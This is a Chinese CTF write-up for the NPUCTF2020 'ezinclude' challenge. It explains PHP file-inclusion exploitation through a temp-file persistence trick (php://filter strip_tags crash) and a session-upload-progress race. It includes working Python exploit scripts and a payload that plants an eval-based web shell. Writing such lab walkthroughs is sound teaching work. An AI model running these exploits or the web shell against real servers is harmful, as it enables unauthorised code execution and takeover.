重定向以及session文件包含以及php临时文件包含

重定向以及session文件包含以及php临时文件包含

实例([NPUCTF2020]ezinclude)

打开页面源码,发现有一个提示

1
<!--md5($secret.$name)===$pass -->

然后抓包并发送,回显的包中的set-cookie字段有一个hash值

1
Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a

所以推测是pass的值,所以构造

1
?pass=fa25e54758d5d5c1927781a6ede89f8a

发现出现

1
window.location.href="flflflflag.php";

字段,当在浏览器构造

1
/flflflflag.php

发现出现404页面,然后通过抓包后同样get提交

1
/flflflflag.php

发现原来是重定向,但是通过bp抓包,可以绕过,所以抓包构造/flflflflag.php,发现是文件包含

1
include($_GET["file"])

但是不知道flag.php在哪一个文件中,但是通过目录扫描,发现有一个dir.php文件,里面有临时文件的信息,而php7有一个特性,就是当利用过滤器strip_tags来从字符串中去除HTML和PHP标记时,可以让php执行时直接出现Segment Fault(段故障),这样php的垃圾回收机制就不会继续执行,导致post提交的文件会保存在临时文件夹中不会被清除,而访问dir.php可以知道此时post上传文件的名字

所以我们可以利用php伪协议来调用strip_tags过滤器,并与此同时post提交文件,致使php执行时出现Segment Fault,post提交的文件会保存在临时文件夹中
所以我们可以利用这个漏洞以及inculde()函数的包含来任意代码执行,因此exp

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO
url="http://b029c3b5-3789-4d78-9258-1ff98f05a610.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

此时,只要访问dir.php,即可知道post提交的文件的文件名为

1
string(9) "phpfx0Sxt" 

然后我们在构造

1
/flflflflag.php?file=/tmp/phpfx0Sxt

对文件进行包含,即可执行代码,注意要抓包提交,在浏览器提交的话会重定向到404.html文件中,然后ctrl+F找flag字段即可,由于有include()函数,所以也可以尝试以下session文件包含

在session中上传的数据会保存在sess_{sessid}中,然后系统会对这个文件进行检测,有害则删除,无害则留下,所以我们可以利用检测的时间,对这个文件进行包含,从而执行代码,所以我们可以写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import sys
import requests
import threading

host = 'http://b65810ac-4e60-430f-a394-3ee290d0158d.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
print(response.text)
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

其中这串代码就是我们想要执行的恶意代码

1
<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

而这串代码的意思是会在根目录下创建shell.php文件,且shell文件中内容为

1
<?php @eval($_POST[cmd])?>

所以我们直接构造

1
2
3
/shell.php

post提交:cmd=phpinfo();

即可看到php版本信息,然后找flag字段就可以获得flag

参考文章:[https://www.icode9.com/content-4-1033782.html]